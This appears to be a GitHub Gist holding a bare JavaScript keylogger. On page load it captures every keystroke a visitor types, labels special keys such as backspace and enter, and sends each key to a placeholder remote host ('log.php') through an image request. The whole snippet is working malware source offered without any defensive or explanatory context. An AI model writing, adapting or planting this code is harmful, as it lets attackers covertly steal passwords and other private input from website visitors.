Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
window.onload = function load(){
if (window.addEventListener) {
document.addEventListener('keypress', p, true);
document.addEventListener('keydown', d, true);
} else if (window.attachEvent) {
document.attachEvent('onkeypress', p);
document.attachEvent('onkeydown', d);
} else {
document.onkeypress = p;
document.onkeydown = d;
}
}
function p(e){
k = (window.event) ? window.event.keyCode : e.which;
if (k == 43){ log("[ADD]") }
else { log(String.fromCharCode(k)) }
}
function d(e){
k = (window.event) ? window.event.keyCode : e.which;
if (k == 8) { log("[BACKSPACE]"); }
else if (k == 9) { log("[TAB]"); }
else if (k == 13){ log("[ENTER]"); }
else if (k == 35){ log("[END]") }
else if (k == 36){ log("[HOME]") }
else if (k == 37){ log("[<--]") }
else if (k == 39){ log("[-->]") }
}
function log(k){
if (k) {
new Image().src = 'http://<DOMAIN>/log.php?c=' + encodeURI(k);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.